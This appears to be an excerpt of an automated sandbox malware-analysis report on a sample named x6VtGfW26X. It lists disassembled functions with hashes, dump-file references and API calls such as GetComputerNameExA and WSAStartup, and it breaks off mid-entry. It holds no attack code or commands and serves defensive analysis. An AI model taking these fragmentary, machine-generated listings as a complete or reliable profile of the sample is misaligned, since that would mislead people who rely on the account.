Instruction Fuzzy Hash: 2AA1257210E3C48FD3448A2AC85436FBBD29BD9318F298A2DE4D957382DABDC945D707

Function 007C8DF1 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62538c427c0e0a6c05c025d5e6a5664b40028c70a09a7b2cc852283b8c1a088e
Instruction ID: 84e0dca83e27bfab6bdc8e40bcbd7b4fa931a64a4b18d19c166320901c799a27
Opcode Fuzzy Hash: 62538c427c0e0a6c05c025d5e6a5664b40028c70a09a7b2cc852283b8c1a088e
Instruction Fuzzy Hash: 66712872904310CBD724DF24DC92BBB73A2EF84364F08496DE9958B361D73DA901D752

Function 007EFB80 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 327e2e3e0ebfe257c3eba4047259758632b0d482afde82be114436991145ab5a
Instruction ID: 24be4260425b493bc0406a1ea149f21242d3323206629db6a40a6b4299c3ea83
Opcode Fuzzy Hash: 327e2e3e0ebfe257c3eba4047259758632b0d482afde82be114436991145ab5a
Instruction Fuzzy Hash: A2614675B093819BDB149E19C891A3BB7A2EBD9310F29843CE485876A5EB34DC11C742

Function 007DB842 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 007DB875
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 007DB924

Strings

KHGN, xrefs: 007DB89B

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: KHGN
API String ID: 2904949787-1032087821
Opcode ID: 58e855109e179be23af8c9271a4954a62c6daf2bc6dfafaa1fecb0632d925e4a
Instruction ID: 183d9faeb3c1ed68b1c1dc771b43263240288b31423b049bf890738c606e3918
Opcode Fuzzy Hash: 58e855109e179be23af8c9271a4954a62c6daf2bc6dfafaa1fecb0632d925e4a
Instruction Fuzzy Hash: 1421AE7010C3C58EDB218B359860BFB7FE4AB9B344F19485ED0C9D7292CB39444ADB52

Function 007DB840 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 007DB875
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 007DB924

Strings

KHGN, xrefs: 007DB89B

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID: KHGN
API String ID: 2904949787-1032087821
Opcode ID: 13ebbf1b6eff994f8fe0239c29f319df8e9ba0cc700b6f29c6f1d347ba24ba25
Instruction ID: 44934fb6aee5447f59dda3d2a37595ad98597a64c8a571fdf7872e4f0f3b5901
Opcode Fuzzy Hash: 13ebbf1b6eff994f8fe0239c29f319df8e9ba0cc700b6f29c6f1d347ba24ba25
Instruction Fuzzy Hash: 6C11C1B0148385DFD7218B359861BFB7BE4AB8B344F15882DD0C9C3291CB394806DB52

Function 007DB94D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000005,11780A54,00000100), ref: 007DBA54

Strings

bC, xrefs: 007DB992

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: ComputerName
String ID: bC
API String ID: 3545744682-4190571504
Opcode ID: ced4810af47ec25f17d8333e54ff5b33ca18521fc8c558c06931839231328f3a
Instruction ID: a6959eb00c951601ee55ce4cad0ef19d71f79a65539198d75f42668b22f01d72
Opcode Fuzzy Hash: ced4810af47ec25f17d8333e54ff5b33ca18521fc8c558c06931839231328f3a
Instruction Fuzzy Hash: 0921F1325093D1CAD7358F2584943BABBE1EFD6300F5A884EC8CA9B341CA785409CB52

Function 007DB948 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,11780A54,00000100), ref: 007DBA54

Strings

bC, xrefs: 007DB992

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: ComputerName
String ID: bC
API String ID: 3545744682-4190571504
Opcode ID: 5a65e95dbd8be97be3f38b3eefca164848b046388ca8b899dbe2a8cc65a50991
Instruction ID: beda0689d95acc74feb2e771c704471f8c1f220be1945f2ae4078f5c6be912e9
Opcode Fuzzy Hash: 5a65e95dbd8be97be3f38b3eefca164848b046388ca8b899dbe2a8cc65a50991
Instruction Fuzzy Hash: F621CF36549391CBD7248F6084947BABBE2EFC5310F1A895EC9CA9B340CA785809CB92

Function 007DB7AD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 007DB924

Strings

KHGN, xrefs: 007DB89B

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: ComputerName
String ID: KHGN
API String ID: 3545744682-1032087821
Opcode ID: f387dabec4e567c1a3862bb768b490af5c37f6f94a601b4735d7f769b5a314fb
Instruction ID: b26b5792c5463b3dbbced2ccd638143c2694b83ae9745541b13238758ceb6fbe
Opcode Fuzzy Hash: f387dabec4e567c1a3862bb768b490af5c37f6f94a601b4735d7f769b5a314fb
Instruction Fuzzy Hash: 9B11C2B01483C5CFD7618B3598A1BFB7BE4AB8B354F15882DD0C9D7291CB394846DB52

Function 007B9D5E Relevance: 1.6, APIs: 1, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000070), ref: 007B9E1A

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d641a48738ea5f9fce196d381e75465df60307771e6af7fbf1b759e02fe4765e
Instruction ID: b4e5c5234b2af48b8b0d7fc5d8b9188c42a305d32a2d92ac6ceb423b25fc656f
Opcode Fuzzy Hash: d641a48738ea5f9fce196d381e75465df60307771e6af7fbf1b759e02fe4765e
Instruction Fuzzy Hash: C3110475B442908FC7188F25D8816B9BFE1FB95321B19C4ACD591DB362C23CE846CBA4

Function 007ED880 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ff70e3b84d3dca673cc71a16646be916a2c98b6d2df5e6de1c40a157eee9732
Instruction ID: 35694d1386ba823b5544b47434600ee278dd0d0b85ea4c5a7b2bace31ec125b6
Opcode Fuzzy Hash: 8ff70e3b84d3dca673cc71a16646be916a2c98b6d2df5e6de1c40a157eee9732
Instruction Fuzzy Hash: 26F0CD71119342EFD7202F26AC49B273778EF9A301F040C35F50191061EB39AC148671

Function 007DDE0C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 007DDE5A

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c18c25586cbee6cc9b185ceb4737c33c776552acde4cc97694ad2afb9deec8c4
Instruction ID: d159c66201671fb31c49478ee836d67c32f6c82303a0bc184159606f24dc6b78
Opcode Fuzzy Hash: c18c25586cbee6cc9b185ceb4737c33c776552acde4cc97694ad2afb9deec8c4
Instruction Fuzzy Hash: 4DF0E275609702CFE301CF25C55871BBBF6BB88314F25891CE0A48B751C7B9AA898FC2

Function 007E16B2 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 007E16F7

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 5515f8a8c00ba933f26f2783f82899bd470a657962077b9931c1aa5bd2b9b1b6
Instruction ID: 03636a464839313249cec68935d5b6c086b07fe5f3fef1a2303abca4c2147484
Opcode Fuzzy Hash: 5515f8a8c00ba933f26f2783f82899bd470a657962077b9931c1aa5bd2b9b1b6
Instruction Fuzzy Hash: 09F0D4B06093028FE354DF68D5A871BBBE0EB88304F10881DE4958B390C7B99608CF82

Function 007B9CAE Relevance: 1.5, APIs: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 007B9CC6

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: ddf6c17ade320005db91740fc1620be9af448aee267537b8d6069078d8a0beeb
Instruction ID: 28b784cf90c89b1064ab75ecf0dbdfe9c54db67ac50d7b02184e7d611d3271a9
Opcode Fuzzy Hash: ddf6c17ade320005db91740fc1620be9af448aee267537b8d6069078d8a0beeb
Instruction Fuzzy Hash: 89C08C602D06609AF22C8329CC0ED3BBB6FAFC7F4DB00C00FD211063EBC5A00005CAA8

Function 007BC660 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 007BC674

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 0781d70bf2caf6d6c38d8ad58bc7f9f1094978369e70d557bda47ab4f0d976bb
Instruction ID: 44ef0a9262d72e9f7438b2736712f58c08f0c1a76f076433d99a39fac77fd8db
Opcode Fuzzy Hash: 0781d70bf2caf6d6c38d8ad58bc7f9f1094978369e70d557bda47ab4f0d976bb
Instruction Fuzzy Hash: 87E0C222B91A4467D204AA18CC47F5A361A8382325F4CC3256650CA3C4E968A911C05E

Function 007BC69E Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 007BC6B0

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
